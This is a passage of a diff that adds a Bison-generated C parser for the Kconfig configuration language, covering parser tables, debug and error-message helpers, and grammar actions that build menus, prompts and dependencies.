31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if ((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - (3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + 